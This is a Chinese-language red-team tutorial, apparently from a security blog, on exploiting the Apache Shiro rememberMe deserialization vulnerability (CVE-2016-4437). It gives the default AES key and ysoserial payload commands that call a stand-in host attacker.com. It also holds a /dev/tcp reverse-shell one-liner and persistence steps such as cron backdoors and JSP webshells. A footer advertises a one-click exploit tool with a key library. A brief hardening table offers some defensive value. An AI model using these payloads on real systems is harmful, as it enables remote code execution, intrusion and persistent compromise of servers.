Apache Shiro 框架漏洞利用全流程

Apache Shiro 框架漏洞利用全流程

🥷 红队实战案例:Apache Shiro 框架漏洞利用全流程

🧩 一、识别目标使用了 Shiro 框架

🔍 目标访问行为识别

访问目标站点(如 http://target.com/login),响应头中出现如下字段:

 Set-Cookie: rememberMe=deleteMe;

高危特征点:“rememberMe” 是 Shiro 框架的标志性 Cookie 名称,用于记住登录状态。

🔒 二、Shiro 记住我功能安全逻辑

Shiro 的 rememberMe 机制如下:

  1. 服务端设置 Cookie rememberMe
  2. 其中数据是 Java 对象序列化并加密后 的内容;
  3. 客户端每次带上该 Cookie,Shiro 会解密并反序列化;
  4. 若对象合法,自动登录用户。

⚠️ 如果 Shiro 配置中使用了默认密钥,攻击者可以伪造恶意序列化对象并触发 反序列化漏洞(RCE)

📌 三、确认是否存在 Shiro 反序列化漏洞(CVE-2016-4437)

🔬 检测流程

✅ 1. 使用默认 AES Key 检测(Shiro 1.2.4 默认使用 “kPH+bIxk5D2deZiIxcaaaA==”)

我们生成恶意 payload,用默认 key 加密后写入 rememberMe

 GET / HTTP/1.1
 Host: target.com
 Cookie: rememberMe=<base64_encoded_payload>

如果服务器返回响应头中 再设置了一次 Cookie 为 rememberMe=deleteMe,说明 payload 解密失败,Shiro 认为非法,重置 Cookie。

但如果未重置 Cookie 或响应状态改变,就可能说明 key 是匹配的!

✅ 2. 使用 shiro_exploit_tool / ysoserial + 加密脚本 进行验证

 java -jar ysoserial.jar CommonsBeanutils1 "ping attacker.com" > payload.ser

然后使用 Shiro 加密脚本生成 base64:

 python shiro_payload_gen.py -k kPH+bIxk5D2deZiIxcaaaA== -i payload.ser

将 base64 数据写入 Cookie,监听是否有请求发回:

 Cookie: rememberMe=<生成的值>

✅ 3. 使用高级反序列化链测试(如 ysoserial)

利用链说明
CommonsBeanutils1简单命令执行链,最常见
CommonsCollections1~6强大链,适合各种反序列化攻击
Jdk7u21适用于 JDK7 版本,命令执行链最强
Spring1基于 Spring 框架的 RCE 链

通过这些工具,测试攻击是否成功。

🎯 四、漏洞利用:构造恶意序列化对象

利用链选择(ysoserial)

  • 通用链:CommonsBeanutils1 / CommonsCollections1~6 / Jdk7u21
  • 要根据目标的依赖情况选择能成功利用的链

生成 payload:

 java -jar ysoserial.jar CommonsBeanutils1 "curl http://attacker.com/pwned" > exp.ser

加密 payload:

 python shiro_payload_gen.py -k kPH+bIxk5D2deZiIxcaaaA== -i exp.ser

写入 Cookie 请求目标:

 Cookie: rememberMe=<你的加密payload>

在监听服务器上看到回连,则说明成功触发了反序列化执行命令。

🧠 五、提权 + 持久化思路

成功执行命令后常见操作:

目标方法
获得 Shellbash -i >& /dev/tcp/attacker.com/4444 0>&1
内网探测ip a, netstat, nmap, ps aux
横向移动查找配置文件、数据库连接、JWT 秘钥等
持久化添加 cron 后门、写 JSP webshell、注入反向代理规则

🧱 六、安全加固建议(防守视角)

项目建议
Shiro Key不要使用默认密钥,使用随机强密钥
序列化禁止使用 Java 原生序列化传输用户数据
检测对 rememberMe Cookie 做异常行为监控
升级使用 Shiro >= 1.4.2(修复已知反序列化链)
WAF检测和拦截 base64 编码的异常 Cookie

✅ 七、总结攻击链

发现 rememberMe尝试默认密钥解密成功识别加密密钥生成反序列化 payload加密 + Base64 编码写入 Cookie 请求触发反序列化执行命令获得控制权限
图片[1]-Apache Shiro 框架漏洞利用全流程-极客星球

🔐 Shiro一键利用工具1300+ 密钥库 🔑,通过下面小程序中搜索 ‘Shiro’ 🔍 获取。

小程序

© 版权声明
THE END
喜欢就支持一下吧
点赞14赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容